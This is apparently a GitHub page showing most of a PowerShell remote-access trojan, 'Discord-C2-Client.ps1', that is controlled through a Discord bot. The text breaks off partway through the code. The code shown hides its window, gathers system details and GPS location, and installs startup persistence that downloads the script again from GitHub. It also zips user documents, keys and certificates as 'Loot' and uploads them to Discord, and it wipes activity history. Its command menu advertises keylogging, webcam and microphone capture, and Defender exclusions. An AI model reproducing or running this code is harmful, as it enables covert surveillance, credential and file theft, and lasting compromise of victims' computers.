-
Notifications
You must be signed in to change notification settings - Fork 0
/
Discord-C2-Client.ps1
1667 lines (1547 loc) · 73.2 KB
/
Discord-C2-Client.ps1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
# =====================================================================================================================================================
$global:token = "$tk" # make sure your bot is in ONE server only
# =============================================================== SCRIPT SETUP =========================================================================
$HideConsole = 1
$spawnChannels = 1
$InfoOnConnect = 1
$defaultstart = 0
$parent = "https://raw.githubusercontent.com/TheLawhq/bingbong/main/Discord-C2-Client.ps1"
if(Test-Path "C:\Windows\Tasks\service.vbs"){
$InfoOnConnect = 0
rm -path "C:\Windows\Tasks\service.vbs" -Force
}
$version = "1.5.1"
$response = $null
$previouscmd = $null
$authenticated = 0
$timestamp = Get-Date -Format "dd/MM/yyyy @ HH:mm"
# =============================================================== MODUULI =========================================================================
Function GetFfmpeg{
sendMsg -Message ":hourglass: ``Downloading FFmpeg to Client.. Please Wait`` :hourglass:"
$Path = "$env:Temp\ffmpeg.exe"
$tempDir = "$env:temp"
If (!(Test-Path $Path)){
$apiUrl = "https://api.github.com/repos/GyanD/codexffmpeg/releases/latest"
$wc = New-Object System.Net.WebClient
$wc.Headers.Add("User-Agent", "PowerShell")
$response = $wc.DownloadString("$apiUrl")
$release = $response | ConvertFrom-Json
$asset = $release.assets | Where-Object { $_.name -like "*essentials_build.zip" }
$zipUrl = $asset.browser_download_url
$zipFilePath = Join-Path $tempDir $asset.name
$extractedDir = Join-Path $tempDir ($asset.name -replace '.zip$', '')
$wc.DownloadFile($zipUrl, $zipFilePath)
Expand-Archive -Path $zipFilePath -DestinationPath $tempDir -Force
Move-Item -Path (Join-Path $extractedDir 'bin\ffmpeg.exe') -Destination $tempDir -Force
rm -Path $zipFilePath -Force
rm -Path $extractedDir -Recurse -Force
}
}
#
Function NewChannelCategory{
$headers = @{
'Authorization' = "Bot $token"
}
$guildID = $null
while (!($guildID)){
$wc = New-Object System.Net.WebClient
$wc.Headers.Add("Authorization", $headers.Authorization)
$response = $wc.DownloadString("https://discord.com/api/v10/users/@me/guilds")
$guilds = $response | ConvertFrom-Json
foreach ($guild in $guilds) {
$guildID = $guild.id
}
sleep 3
}
$uri = "https://discord.com/api/guilds/$guildID/channels"
$randomLetters = -join ((65..90) + (97..122) | Get-Random -Count 5 | ForEach-Object {[char]$_})
$body = @{
"name" = "$env:COMPUTERNAME"
"type" = 4
} | ConvertTo-Json
$wc = New-Object System.Net.WebClient
$wc.Headers.Add("Authorization", "Bot $token")
$wc.Headers.Add("Content-Type", "application/json")
$response = $wc.UploadString($uri, "POST", $body)
$responseObj = ConvertFrom-Json $response
Write-Host "The ID of the new category is: $($responseObj.id)"
$global:CategoryID = $responseObj.id
}
#
Function NewChannel{
param([string]$name)
$headers = @{
'Authorization' = "Bot $token"
}
$wc = New-Object System.Net.WebClient
$wc.Headers.Add("Authorization", $headers.Authorization)
$response = $wc.DownloadString("https://discord.com/api/v10/users/@me/guilds")
$guilds = $response | ConvertFrom-Json
foreach ($guild in $guilds) {
$guildID = $guild.id
}
$uri = "https://discord.com/api/guilds/$guildID/channels"
$randomLetters = -join ((65..90) + (97..122) | Get-Random -Count 5 | ForEach-Object {[char]$_})
$body = @{
"name" = "$name"
"type" = 0
"parent_id" = $CategoryID
} | ConvertTo-Json
$wc = New-Object System.Net.WebClient
$wc.Headers.Add("Authorization", "Bot $token")
$wc.Headers.Add("Content-Type", "application/json")
$response = $wc.UploadString($uri, "POST", $body)
$responseObj = ConvertFrom-Json $response
Write-Host "The ID of the new channel is: $($responseObj.id)"
$global:ChannelID = $responseObj.id
}
#
function sendMsg {
param([string]$Message,[string]$Embed)
$url = "https://discord.com/api/v10/channels/$SessionID/messages"
$wc = New-Object System.Net.WebClient
$wc.Headers.Add("Authorization", "Bot $token")
if ($Embed) {
$jsonBody = $jsonPayload | ConvertTo-Json -Depth 10 -Compress
$wc.Headers.Add("Content-Type", "application/json")
$response = $wc.UploadString($url, "POST", $jsonBody)
if ($webhook){
$body = @{"username" = "Scam BOT" ;"content" = "$jsonBody"} | ConvertTo-Json
IRM -Uri $webhook -Method Post -ContentType "application/json" -Body $jsonBody
}
$jsonPayload = $null
}
if ($Message) {
$jsonBody = @{
"content" = "$Message"
"username" = "$env:computername"
} | ConvertTo-Json
$wc.Headers.Add("Content-Type", "application/json")
$response = $wc.UploadString($url, "POST", $jsonBody)
$message = $null
}
}
function sendFile {
param([string]$sendfilePath)
$url = "https://discord.com/api/v10/channels/$SessionID/messages"
$webClient = New-Object System.Net.WebClient
$webClient.Headers.Add("Authorization", "Bot $token")
if ($sendfilePath) {
if (Test-Path $sendfilePath -PathType Leaf) {
$response = $webClient.UploadFile($url, "POST", $sendfilePath)
Write-Host "Attachment sent to Discord: $sendfilePath"
} else {
Write-Host "File not found: $sendfilePath"
}
}
}
#
Function quickInfo{
Add-Type -AssemblyName System.Windows.Forms
Add-Type -AssemblyName System.Device
$GeoWatcher = New-Object System.Device.Location.GeoCoordinateWatcher
$GeoWatcher.Start()
while (($GeoWatcher.Status -ne 'Ready') -and ($GeoWatcher.Permission -ne 'Denied')) {Sleep -M 100}
if ($GeoWatcher.Permission -eq 'Denied'){$GPS = "Location Services Off"}
else{
$GL = $GeoWatcher.Position.Location | Select Latitude,Longitude;$GL = $GL -split " "
$Lat = $GL[0].Substring(11) -replace ".$";$Lon = $GL[1].Substring(10) -replace ".$"
$GPS = "LAT = $Lat LONG = $Lon"
}
if (-not ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] 'Administrator')) {
$adminperm = "False"
} else {
$adminperm = "True"
}
$systemInfo = Get-WmiObject -Class Win32_OperatingSystem
$userInfo = Get-WmiObject -Class Win32_UserAccount
$processorInfo = Get-WmiObject -Class Win32_Processor
$computerSystemInfo = Get-WmiObject -Class Win32_ComputerSystem
$userInfo = Get-WmiObject -Class Win32_UserAccount
$videocardinfo = Get-WmiObject Win32_VideoController
$Screen = [System.Windows.Forms.SystemInformation]::VirtualScreen;$Width = $Screen.Width;$Height = $Screen.Height;$screensize = "${width} x ${height}"
$email = (Get-ComputerInfo).WindowsRegisteredOwner
$OSString = "$($systemInfo.Caption)"
$OSArch = "$($systemInfo.OSArchitecture)"
$RamInfo = Get-WmiObject Win32_PhysicalMemory | Measure-Object -Property capacity -Sum | % { "{0:N1} GB" -f ($_.sum / 1GB)}
$processor = "$($processorInfo.Name)"
$gpu = "$($videocardinfo.Name)"
$ver = (Get-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion').DisplayVersion
$systemLocale = Get-WinSystemLocale;$systemLanguage = $systemLocale.Name
$computerPubIP=(Invoke-WebRequest ipinfo.io/ip -UseBasicParsing).Content
$script:jsonPayload = @{
username = $env:COMPUTERNAME
tts = $false
embeds = @(
@{
title = "$env:COMPUTERNAME | Computer Information "
"description" = @"
``````SYSTEM INFORMATION FOR $env:COMPUTERNAME``````
:man_detective: **User Information** :man_detective:
- **Current User** : ``$env:USERNAME``
- **Email Address** : ``$email``
- **Language** : ``$systemLanguage``
- **Administrator Session** : ``$adminperm``
:minidisc: **OS Information** :minidisc:
- **Current OS** : ``$OSString - $ver``
- **Architechture** : ``$OSArch``
:globe_with_meridians: **Network Information** :globe_with_meridians:
- **Public IP Address** : ``$computerPubIP``
- **Location Information** : ``$GPS``
:desktop: **Hardware Information** :desktop:
- **Processor** : ``$processor``
- **Memory** : ``$RamInfo``
- **Gpu** : ``$gpu``
- **Screen Size** : ``$screensize``
``````COMMAND LIST``````
- **Options** : Show The Options Menu
- **ExtraInfo** : Show The Extra Info Menu
- **Close** : Close this session
"@
color = 65280
}
)
}
sendMsg -Embed $jsonPayload -webhook $webhook
}
function HideWindow {
$Async = '[DllImport("user32.dll")] public static extern bool ShowWindowAsync(IntPtr hWnd, int nCmdShow);'
$Type = Add-Type -MemberDefinition $Async -name Win32ShowWindowAsync -namespace Win32Functions -PassThru
$hwnd = (Get-Process -PID $pid).MainWindowHandle
if($hwnd -ne [System.IntPtr]::Zero){
$Type::ShowWindowAsync($hwnd, 0)
}
else{
$Host.UI.RawUI.WindowTitle = 'hideme'
$Proc = (Get-Process | Where-Object { $_.MainWindowTitle -eq 'hideme' })
$hwnd = $Proc.MainWindowHandle
$Type::ShowWindowAsync($hwnd, 0)
}
}
Function Options {
$script:jsonPayload = @{
username = $env:COMPUTERNAME
tts = $false
embeds = @(
@{
title = "$env:COMPUTERNAME | Commands List "
"description" = @"
### SYSTEM
- **AddPersistance**: Add this script to startup.
- **RemovePersistance**: Remove Poshcord from startup
- **IsAdmin**: Check if the session is admin
- **Elevate**: Attempt to restart script as admin (!user popup!)
- **ExcludeCDrive**: Exclude C:/ Drive from all Defender Scans
- **ExcludeAllDrives**: Exclude C:/ - G:/ Drives from Defender Scans
- **EnableIO**: Enable Keyboard and Mouse (admin only)
- **DisableIO**: Disable Keyboard and Mouse (admin only)
- **Exfiltrate**: Send various files. (see ExtraInfo)
- **Upload**: Upload a file. (see ExtraInfo)
- **Download**: Download a file. (attach a file with the command)
- **StartUvnc**: Start UVNC client `StartUvnc -ip 192.168.1.1 -port 8080`
- **SpeechToText**: Send audio transcript to Discord
- **EnumerateLAN**: Show devices on LAN (see ExtraInfo)
- **NearbyWifi**: Show nearby wifi networks (!user popup!)
- **RecordScreen**: Record Screen and send to Discord
### PRANKS
- **FakeUpdate**: Spoof Windows-10 update screen using Chrome
- **Windows93**: Start parody Windows93 using Chrome
- **WindowsIdiot**: Start fake Windows95 using Chrome
- **SendHydra**: Never ending popups (use killswitch) to stop
- **SoundSpam**: Play all Windows default sounds on the target
- **Message**: Send a message window to the User (!user popup!)
- **VoiceMessage**: Send a message window to the User (!user popup!)
- **MinimizeAll**: Send a voice message to the User
- **EnableDarkMode**: Enable System wide Dark Mode
- **DisableDarkMode**: Disable System wide Dark Mode
- **ShortcutBomb**: Create 50 shortcuts on the desktop.
- **Wallpaper**: Set the wallpaper (wallpaper -url http://img.com/f4wc)
- **Goose**: Spawn an annoying goose (Sam Pearson App)
- **ScreenParty**: Start A Disco on screen!
### JOBS
- **Microphone**: Record microphone clips and send to Discord
- **Webcam**: Stream webcam pictures to Discord
- **Screenshots**: Sends screenshots of the desktop to Discord
- **Keycapture**: Capture Keystrokes and send to Discord
- **SystemInfo**: Gather System Info and send to Discord
### CONTROL
- **ExtraInfo**: Get a list of further info and command examples
- **Cleanup**: Wipe history (run prompt, powershell, recycle bin, Temp)
- **Kill**: Stop a running module (eg. Exfiltrate)
- **PauseJobs**: Pause the current jobs for this session
- **Close**: Close this session
"@
color = 65280
}
)
}
sendMsg -Embed $jsonPayload
}
Function ExtraInfo {
$script:jsonPayload = @{
username = $env:COMPUTERNAME
tts = $false
embeds = @(
@{
title = "$env:COMPUTERNAME | Extra Information "
"description" = @"
``````Example Commands``````
**Default PS Commands:**
> PS> ``whoami`` (Returns Powershell commands)
**Exfiltrate Command Examples:**
> PS> ``Exfiltrate -Path Documents -Filetype png``
> PS> ``Exfiltrate -Filetype log``
> PS> ``Exfiltrate``
Exfiltrate only will send many pre-defined filetypes
from all User Folders like Documents, Downloads etc..
**Upload Command Example:**
> PS> ``Upload -Path C:/Path/To/File.txt``
Use 'FolderTree' command to show all files
**Enumerate-LAN Example:**
> PS> ``EnumerateLAN -Prefix 192.168.1.``
This Eg. will scan 192.168.1.1 to 192.168.1.254
**Prank Examples:**
> PS> ``Message 'Your Message Here!'``
> PS> ``VoiceMessage 'Your Message Here!'``
> PS> ``wallpaper -url http://img.com/f4wc``
**Record Examples:**
> PS> ``RecordScreen -t 100`` (number of seconds to record)
**Kill Command modules:**
- Exfiltrate
- SendHydra
- SpeechToText
"@
color = 65280
}
)
}
sendMsg -Embed $jsonPayload
}
Function CleanUp {
Remove-Item $env:temp\* -r -Force -ErrorAction SilentlyContinue
Remove-Item (Get-PSreadlineOption).HistorySavePath
reg delete HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU /va /f
Clear-RecycleBin -Force -ErrorAction SilentlyContinue
$campath = "$env:Temp\Image.jpg"
$screenpath = "$env:Temp\Screen.jpg"
$micpath = "$env:Temp\Audio.mp3"
If (Test-Path $campath){
rm -Path $campath -Force
}
If (Test-Path $screenpath){
rm -Path $screenpath -Force
}
If (Test-Path $micpath){
rm -Path $micpath -Force
}
sendMsg -Message ":white_check_mark: ``Clean Up Task Complete`` :white_check_mark:"
}
Function EnumerateLAN{
param ([string]$Prefix)
if ($Prefix.Length -eq 0){Write-Output "Use -prefix to define the first 3 parts of an IP Address eg. Enumerate-LAN -prefix 192.168.1";sleep 1 ;return}
$FileOut = "$env:temp\Computers.csv"
1..255 | ForEach-Object {
$ipAddress = "$Prefix.$_"
Start-Process -WindowStyle Hidden ping.exe -ArgumentList "-n 1 -l 0 -f -i 2 -w 100 -4 $ipAddress"
}
$Computers = (arp.exe -a | Select-String "$Prefix.*dynam") -replace ' +', ',' |
ConvertFrom-Csv -Header Computername, IPv4, MAC, x, Vendor |
Select-Object IPv4, MAC
$Computers | Export-Csv $FileOut -NoTypeInformation
$data = Import-Csv $FileOut
$data | ForEach-Object {
$mac = $_.'MAC'
$apiUrl = "https://api.macvendors.com/$mac"
$manufacturer = (Invoke-RestMethod -Uri $apiUrl).Trim()
Start-Sleep -Seconds 1
$_ | Add-Member -MemberType NoteProperty -Name "manufacturer" -Value $manufacturer -Force
}
$data | Export-Csv $FileOut -NoTypeInformation
$data | ForEach-Object {
try {
$ip = $_.'IPv4'
$hostname = ([System.Net.Dns]::GetHostEntry($ip)).HostName
$_ | Add-Member -MemberType NoteProperty -Name "Hostname" -Value $hostname -Force
}
catch {
$_ | Add-Member -MemberType NoteProperty -Name "Hostname" -Value "Error: $($_.Exception.Message)"
}
}
$data | Export-Csv $FileOut -NoTypeInformation
$results = Get-Content -Path $FileOut -Raw
sendMsg -Message "``````$results``````"
rm -Path $FileOut
}
Function NearbyWifi {
$showNetworks = explorer.exe ms-availablenetworks:
sleep 4
$wshell = New-Object -ComObject wscript.shell
$wshell.AppActivate('explorer.exe')
$tab = 0
while ($tab -lt 6){
$wshell.SendKeys('{TAB}')
sleep -m 100
$tab++
}
$wshell.SendKeys('{ENTER}')
sleep -m 200
$wshell.SendKeys('{TAB}')
sleep -m 200
$wshell.SendKeys('{ESC}')
$NearbyWifi = (netsh wlan show networks mode=Bssid | ?{$_ -like "SSID*" -or $_ -like "*Signal*" -or $_ -like "*Band*"}).trim() | Format-Table SSID, Signal, Band
$Wifi = ($NearbyWifi|Out-String)
sendMsg -Message "``````$Wifi``````"
}
# --------------------------------------------------------------- PRANK FUNCTIONS ------------------------------------------------------------------------
Function FakeUpdate {
$tobat = @'
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "chrome.exe --new-window -kiosk https://fakeupdate.net/win8", 1, False
WScript.Sleep 200
WshShell.SendKeys "{F11}"
'@
$pth = "$env:APPDATA\Microsoft\Windows\1021.vbs"
$tobat | Out-File -FilePath $pth -Force
sleep 1
Start-Process -FilePath $pth
sleep 3
Remove-Item -Path $pth -Force
sendMsg -Message ":arrows_counterclockwise: ``Fake-Update Sent..`` :arrows_counterclockwise:"
}
Function Windows93 {
$tobat = @'
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "chrome.exe --new-window -kiosk https://windows93.net", 1, False
WScript.Sleep 200
WshShell.SendKeys "{F11}"
'@
$pth = "$env:APPDATA\Microsoft\Windows\1021.vbs"
$tobat | Out-File -FilePath $pth -Force
sleep 1
Start-Process -FilePath $pth
sleep 3
Remove-Item -Path $pth -Force
sendMsg -Message ":arrows_counterclockwise: ``Windows 93 Sent..`` :arrows_counterclockwise:"
}
Function WindowsIdiot {
$tobat = @'
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "chrome.exe --new-window -kiosk https://ygev.github.io/Trojan.JS.YouAreAnIdiot", 1, False
WScript.Sleep 200
WshShell.SendKeys "{F11}"
'@
$pth = "$env:APPDATA\Microsoft\Windows\1021.vbs"
$tobat | Out-File -FilePath $pth -Force
sleep 1
Start-Process -FilePath $pth
sleep 3
Remove-Item -Path $pth -Force
sendMsg -Message ":arrows_counterclockwise: ``Windows Idiot Sent..`` :arrows_counterclockwise:"
}
Function SendHydra {
Add-Type -AssemblyName System.Windows.Forms
sendMsg -Message ":arrows_counterclockwise: ``Hydra Sent..`` :arrows_counterclockwise:"
function Create-Form {
$form = New-Object Windows.Forms.Form;$form.Text = " __--** YOU HAVE BEEN INFECTED BY HYDRA **--__ ";$form.Font = 'Microsoft Sans Serif,12,style=Bold';$form.Size = New-Object Drawing.Size(300, 170);$form.StartPosition = 'Manual';$form.BackColor = [System.Drawing.Color]::Black;$form.FormBorderStyle = [System.Windows.Forms.FormBorderStyle]::FixedDialog;$form.ControlBox = $false;$form.Font = 'Microsoft Sans Serif,12,style=bold';$form.ForeColor = "#FF0000"
$Text = New-Object Windows.Forms.Label;$Text.Text = "Cut The Head Off The Snake..`n`n ..Two More Will Appear";$Text.Font = 'Microsoft Sans Serif,14';$Text.AutoSize = $true;$Text.Location = New-Object System.Drawing.Point(15, 20)
$Close = New-Object Windows.Forms.Button;$Close.Text = "Close?";$Close.Width = 120;$Close.Height = 35;$Close.BackColor = [System.Drawing.Color]::White;$Close.ForeColor = [System.Drawing.Color]::Black;$Close.DialogResult = [System.Windows.Forms.DialogResult]::OK;$Close.Location = New-Object System.Drawing.Point(85, 100);$Close.Font = 'Microsoft Sans Serif,12,style=Bold'
$form.Controls.AddRange(@($Text, $Close));return $form
}
while ($true) {
$form = Create-Form
$form.StartPosition = 'Manual'
$form.Location = New-Object System.Drawing.Point((Get-Random -Minimum 0 -Maximum 1000), (Get-Random -Minimum 0 -Maximum 1000))
$result = $form.ShowDialog()
$messages = PullMsg
if ($messages -match "kill") {
sendMsg -Message ":octagonal_sign: ``Hydra Stopped`` :octagonal_sign:"
$previouscmd = $response
break
}
if ($result -eq [System.Windows.Forms.DialogResult]::OK) {
$form2 = Create-Form
$form2.StartPosition = 'Manual'
$form2.Location = New-Object System.Drawing.Point((Get-Random -Minimum 0 -Maximum 1000), (Get-Random -Minimum 0 -Maximum 1000))
$form2.Show()
}
$random = (Get-Random -Minimum 0 -Maximum 2)
Sleep $random
}
}
Function Message([string]$Message){
msg.exe * $Message
sendMsg -Message ":arrows_counterclockwise: ``Message Sent to User..`` :arrows_counterclockwise:"
}
Function SoundSpam {
param([Parameter()][int]$Interval = 3)
sendMsg -Message ":white_check_mark: ``Spamming Sounds... Please wait..`` :white_check_mark:"
Get-ChildItem C:\Windows\Media\ -File -Filter *.wav | Select-Object -ExpandProperty Name | Foreach-Object { Start-Sleep -Seconds $Interval; (New-Object Media.SoundPlayer "C:\WINDOWS\Media\$_").Play(); }
sendMsg -Message ":white_check_mark: ``Sound Spam Complete!`` :white_check_mark:"
}
Function VoiceMessage([string]$Message){
Add-Type -AssemblyName System.speech
$SpeechSynth = New-Object System.Speech.Synthesis.SpeechSynthesizer
$SpeechSynth.Speak($Message)
sendMsg -Message ":white_check_mark: ``Message Sent!`` :white_check_mark:"
}
Function MinimizeAll{
$apps = New-Object -ComObject Shell.Application
$apps.MinimizeAll()
sendMsg -Message ":white_check_mark: ``Apps Minimised`` :white_check_mark:"
}
Function EnableDarkMode {
$Theme = "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Themes\Personalize"
Set-ItemProperty $Theme AppsUseLightTheme -Value 0
Set-ItemProperty $Theme SystemUsesLightTheme -Value 0
Start-Sleep 1
sendMsg -Message ":white_check_mark: ``Dark Mode Enabled`` :white_check_mark:"
}
Function DisableDarkMode {
$Theme = "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Themes\Personalize"
Set-ItemProperty $Theme AppsUseLightTheme -Value 1
Set-ItemProperty $Theme SystemUsesLightTheme -Value 1
Start-Sleep 1
sendMsg -Message ":octagonal_sign: ``Dark Mode Disabled`` :octagonal_sign:"
}
Function ShortcutBomb {
$n = 0
while($n -lt 50) {
$num = Get-Random
$AppLocation = "C:\Windows\System32\rundll32.exe"
$WshShell = New-Object -ComObject WScript.Shell
$Shortcut = $WshShell.CreateShortcut("$Home\Desktop\USB Hardware" + $num + ".lnk")
$Shortcut.TargetPath = $AppLocation
$Shortcut.Arguments ="shell32.dll,Control_RunDLL hotplug.dll"
$Shortcut.IconLocation = "hotplug.dll,0"
$Shortcut.Description ="Device Removal"
$Shortcut.WorkingDirectory ="C:\Windows\System32"
$Shortcut.Save()
Start-Sleep 0.2
$n++
}
sendMsg -Message ":white_check_mark: ``Shortcuts Created!`` :white_check_mark:"
}
Function Wallpaper {
param ([string[]]$url)
$outputPath = "$env:temp\img.jpg";$wallpaperStyle = 2;IWR -Uri $url -OutFile $outputPath
$signature = 'using System;using System.Runtime.InteropServices;public class Wallpaper {[DllImport("user32.dll", CharSet = CharSet.Auto)]public static extern int SystemParametersInfo(int uAction, int uParam, string lpvParam, int fuWinIni);}'
Add-Type -TypeDefinition $signature;$SPI_SETDESKWALLPAPER = 0x0014;$SPIF_UPDATEINIFILE = 0x01;$SPIF_SENDCHANGE = 0x02;[Wallpaper]::SystemParametersInfo($SPI_SETDESKWALLPAPER, 0, $outputPath, $SPIF_UPDATEINIFILE -bor $SPIF_SENDCHANGE)
sendMsg -Message ":white_check_mark: ``New Wallpaper Set`` :white_check_mark:"
}
Function Goose {
$url = "https://github.com/beigeworm/assets/raw/main/Goose.zip"
$tempFolder = $env:TMP
$zipFile = Join-Path -Path $tempFolder -ChildPath "Goose.zip"
$extractPath = Join-Path -Path $tempFolder -ChildPath "Goose"
Invoke-WebRequest -Uri $url -OutFile $zipFile
Expand-Archive -Path $zipFile -DestinationPath $extractPath
$vbscript = "$extractPath\Goose.vbs"
& $vbscript
sendMsg -Message ":white_check_mark: ``Goose Spawned!`` :white_check_mark:"
}
Function ScreenParty {
Start-Process PowerShell.exe -ArgumentList ("-NoP -Ep Bypass -C Add-Type -AssemblyName System.Windows.Forms;`$d = 10;`$i = 100;`$1 = 'Black';`$2 = 'Green';`$3 = 'Red';`$4 = 'Yellow';`$5 = 'Blue';`$6 = 'white';`$st = Get-Date;while ((Get-Date) -lt `$st.AddSeconds(`$d)) {`$t = 1;while (`$t -lt 7){`$f = New-Object System.Windows.Forms.Form;`$f.BackColor = `$c;`$f.FormBorderStyle = 'None';`$f.WindowState = 'Maximized';`$f.TopMost = `$true;if (`$t -eq 1) {`$c = `$1}if (`$t -eq 2) {`$c = `$2}if (`$t -eq 3) {`$c = `$3}if (`$t -eq 4) {`$c = `$4}if (`$t -eq 5) {`$c = `$5}if (`$t -eq 6) {`$c = `$6}`$f.BackColor = `$c;`$f.Show();Start-Sleep -Milliseconds `$i;`$f.Close();`$t++}}")
sendMsg -Message ":white_check_mark: ``Screen Party Started!`` :white_check_mark:"
}
# --------------------------------------------------------------- PERSISTANCE FUNCTIONS ------------------------------------------------------------------------
Function AddPersistance{
$newScriptPath = "$env:APPDATA\Microsoft\Windows\Themes\copy.ps1"
$scriptContent | Out-File -FilePath $newScriptPath -force
sleep 1
if ($newScriptPath.Length -lt 100){
"`$tk = `"$token`"" | Out-File -FilePath $newScriptPath -Force -Append
"`$ch = `"$chan`"" | Out-File -FilePath $newScriptPath -Force -Append
i`wr -Uri "$parent" -OutFile "$env:temp/temp.ps1"
sleep 1
Get-Content -Path "$env:temp/temp.ps1" | Out-File $newScriptPath -Append
}
$tobat = @'
Set objShell = CreateObject("WScript.Shell")
objShell.Run "powershell.exe -NonI -NoP -Exec Bypass -W Hidden -File ""%APPDATA%\Microsoft\Windows\Themes\copy.ps1""", 0, True
'@
$pth = "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\service.vbs"
$tobat | Out-File -FilePath $pth -Force
rm -path "$env:TEMP\temp.ps1" -Force
sendMsg -Message ":white_check_mark: ``Persistance Added!`` :white_check_mark:"
}
Function RemovePersistance{
rm -Path "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\service.vbs"
rm -Path "$env:APPDATA\Microsoft\Windows\Themes\copy.ps1"
sendMsg -Message ":octagonal_sign: ``Persistance Removed!`` :octagonal_sign:"
}
# --------------------------------------------------------------- USER FUNCTIONS ------------------------------------------------------------------------
Function Exfiltrate {
param ([string[]]$FileType,[string[]]$Path)
sendMsg -Message ":file_folder: ``Exfiltration Started..`` :file_folder:"
$maxZipFileSize = 25MB
$currentZipSize = 0
$index = 1
$zipFilePath ="$env:temp/Loot$index.zip"
If($Path -ne $null){
$foldersToSearch = "$env:USERPROFILE\"+$Path
}else{
$foldersToSearch = @("$env:USERPROFILE\Desktop","$env:USERPROFILE\Documents","$env:USERPROFILE\Downloads","$env:USERPROFILE\OneDrive","$env:USERPROFILE\Pictures","$env:USERPROFILE\Videos")
}
If($FileType -ne $null){
$fileExtensions = "*."+$FileType
}else {
$fileExtensions = @("*.log", "*.db", "*.txt", "*.doc", "*.pdf", "*.jpg", "*.jpeg", "*.png", "*.wdoc", "*.xdoc", "*.cer", "*.key", "*.xls", "*.xlsx", "*.cfg", "*.conf", "*.wpd", "*.rft")
}
Add-Type -AssemblyName System.IO.Compression.FileSystem
$zipArchive = [System.IO.Compression.ZipFile]::Open($zipFilePath, 'Create')
foreach ($folder in $foldersToSearch) {
foreach ($extension in $fileExtensions) {
$files = Get-ChildItem -Path $folder -Filter $extension -File -Recurse
foreach ($file in $files) {
$fileSize = $file.Length
if ($currentZipSize + $fileSize -gt $maxZipFileSize) {
$zipArchive.Dispose()
$currentZipSize = 0
sendFile -sendfilePath $zipFilePath | Out-Null
Sleep 1
Remove-Item -Path $zipFilePath -Force
$index++
$zipFilePath ="$env:temp/Loot$index.zip"
